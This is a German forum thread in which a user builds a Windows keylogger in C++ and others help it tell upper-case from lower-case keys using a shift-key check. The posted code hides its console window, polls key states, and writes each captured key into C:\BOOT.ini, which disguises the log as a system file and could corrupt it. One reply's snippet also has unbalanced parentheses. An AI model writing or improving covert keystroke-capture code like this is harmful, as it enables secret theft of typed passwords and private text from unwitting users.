Problem mit Groß und Kleinschreibung HELP!



  • Hi ich schreibe ein Programm das die Tasten aufzeichnet die gedrückt werden 😃

    So jetzt steh ich aber vor folgendem Problem:
    Es wird nicht zwischen Groß und Kleinschreibung unterschieden 😞

    Hier das hab ich bisher:

    #include <main-header.h>
    
    using namespace std;
    
    int main()
    {
        AllocConsole();
        ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);
    
        FILE *file;
        char c;
    
        while (true)
        {
              Sleep(200);
    
              if (GetAsyncKeyState(0x41)) // Hier großes 'A'
              {
                                         c = 'A';
                                         file = fopen ("C:\\BOOT.ini","a+");
                                         fputc (c,file);
                                         fclose(file);
              }
    
              if (GetAsyncKeyState(0x61))  // Hier kleines 'a'
              {
                                         c = 'a';
                                         file = fopen ("C:\\BOOT.ini","a+");
                                         fputc (c,file);
                                         fclose(file);
              }
        }
        return 0;
    }
    

    Da ja A = 0x41 und a = 0x61 entspricht, wird bei mir wenn ich die 'a' Taste drücke jedoch ein großes 'A' in die Datei BOOT.ini geschrieben jedoch kein kleines 'a'.

    Was mach ich falsch 😕 Bitte um Hilfe!



  • Mach mal eine Foto von Deiner Tastatur und zeig mir die 'A'-Taste und die 'a'-Taste.



  • Stimmt lol 😃 😃 😃 😃



  • Hast du vllt einen Vorschlag wie man das unterscheidet

    vllt. mit VK_SHIFT oder so <-- haut bei mir nicht hin



  • HABS 😃 😃

    if (GetAsyncKeyState(65) && (GetAsyncKeyState(VK_SHIFT)))
              {
                                         c = 'A';
                                         file = fopen ("C:\\BOOT.ini","a+");
                                         fputc (c,file);
                                         fclose(file);
              }
    
              else if (GetAsyncKeyState(65) && !(GetAsyncKeyState(VK_SHIFT)))
              {
                                         c = 'a';
                                         file = fopen ("C:\\BOOT.ini","a+");
                                         fputc (c,file);
                                         fclose(file);
              }
    


  • if (GetAsyncKeyState(0x41)) && GetAsyncKeyState(VK_SHIFT)))
    {
    }
    else if (GetAsyncKeyState(0x41)) && !GetAsyncKeyState(VK_SHIFT))
    

    Das dürfte doch funktionieren oder?

    EDIT: Haha, okay zu langsam ^^


Anmelden zum Antworten